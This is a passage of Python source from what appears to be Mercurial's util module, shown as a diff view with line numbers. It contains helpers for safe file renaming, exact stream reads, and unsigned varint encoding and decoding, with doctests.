3678 3678
3679 3679 i18nfunctions = bundlecompressiontopics().values()
3680 3680
3681 3681 # convenient shortcut
3682 3682 dst = debugstacktrace
3683 3683
3684 3684 def safename(f, tag, ctx, others=None):
3685 3685 """
3686 3686 Generate a name that it is safe to rename f to in the given context.
3687 3687
3688 3688 f: filename to rename
3689 3689 tag: a string tag that will be included in the new name
3690 3690 ctx: a context, in which the new name must not exist
3691 3691 others: a set of other filenames that the new name must not be in
3692 3692
3693 3693 Returns a file name of the form oldname~tag[~number] which does not exist
3694 3694 in the provided context and is not in the set of other names.
3695 3695 """
3696 3696 if others is None:
3697 3697 others = set()
3698 3698
3699 3699 fn = '%s~%s' % (f, tag)
3700 3700 if fn not in ctx and fn not in others:
3701 3701 return fn
3702 3702 for n in itertools.count(1):
3703 3703 fn = '%s~%s~%s' % (f, tag, n)
3704 3704 if fn not in ctx and fn not in others:
3705 3705 return fn
3706 3706
3707 3707 def readexactly(stream, n):
3708 3708 '''read n bytes from stream.read and abort if less was available'''
3709 3709 s = stream.read(n)
3710 3710 if len(s) < n:
3711 3711 raise error.Abort(_("stream ended unexpectedly"
3712 3712 " (got %d bytes, expected %d)")
3713 3713 % (len(s), n))
3714 3714 return s
3715 3715
3716 3716 def uvarintencode(value):
3717 3717 """Encode an unsigned integer value to a varint.
3718 3718
3719 3719 A varint is a variable length integer of 1 or more bytes. Each byte
3720 3720 except the last has the most significant bit set. The lower 7 bits of
3721 3721 each byte store the 2's complement representation, least significant group
3722 3722 first.
3723 3723
3724 3724 >>> uvarintencode(0)
3725 3725 '\\x00'
3726 3726 >>> uvarintencode(1)
3727 3727 '\\x01'
3728 3728 >>> uvarintencode(127)
3729 3729 '\\x7f'
3730 3730 >>> uvarintencode(1337)
3731 3731 '\\xb9\\n'
3732 3732 >>> uvarintencode(65536)
3733 3733 '\\x80\\x80\\x04'
3734 3734 >>> uvarintencode(-1)
3735 3735 Traceback (most recent call last):
3736 3736 ...
3737 3737 ProgrammingError: negative value for uvarint: -1
3738 3738 """
3739 3739 if value < 0:
3740 3740 raise error.ProgrammingError('negative value for uvarint: %d'
3741 3741 % value)
3742 3742 bits = value & 0x7f
3743 3743 value >>= 7
3744 3744 bytes = []
3745 3745 while value:
3746 3746 bytes.append(pycompat.bytechr(0x80 | bits))
3747 3747 bits = value & 0x7f
3748 3748 value >>= 7
3749 3749 bytes.append(pycompat.bytechr(bits))
3750 3750
3751 3751 return ''.join(bytes)
3752 3752
3753 3753 def uvarintdecodestream(fh):
3754 3754 """Decode an unsigned variable length integer from a stream.
3755 3755
3756 3756 The passed argument is anything that has a ``.read(N)`` method.
3757 3757
3758 3758 >>> try:
3759 3759 ... from StringIO import StringIO as BytesIO
3760 3760 ... except ImportError:
3761 3761 ... from io import BytesIO
3762 3762 >>> uvarintdecodestream(BytesIO(b'\\x00'))
3763 3763 0
3764 3764 >>> uvarintdecodestream(BytesIO(b'\\x01'))
3765 3765 1
3766 3766 >>> uvarintdecodestream(BytesIO(b'\\x7f'))
3767 3767 127
3768 3768 >>> uvarintdecodestream(BytesIO(b'\\xb9\\n'))
3769 3769 1337
3770 3770 >>> uvarintdecodestream(BytesIO(b'\\x80\\x80\\x04'))
3771 3771 65536
3772 3772 >>> uvarintdecodestream(BytesIO(b'\\x80'))
3773 3773 Traceback (most recent call last):
3774 3774 ...
3775 3775 Abort: stream ended unexpectedly (got 0 bytes, expected 1)
3776 3776 """
3777 3777 result = 0
3778 3778 shift = 0
3779 3779 while True:
3780 3780 byte = ord(readexactly(fh, 1))
3781 3781 result |= ((byte & 0x7f) << shift)
3782 3782 if not (byte & 0x80):
3783 3783 return result
3784 3784 shift += 7
3785
3786 defaultdateformats = dateutil.defaultdateformats
3787 extendeddateformats = dateutil.extendeddateformats
3788
3789 stderr = procutil.stderr
3790 stdin = procutil.stdin
3791 stdout = procutil.stdout
3792 closefds = procutil.closefds
General Comments 0
You need to be logged in to leave comments. Login now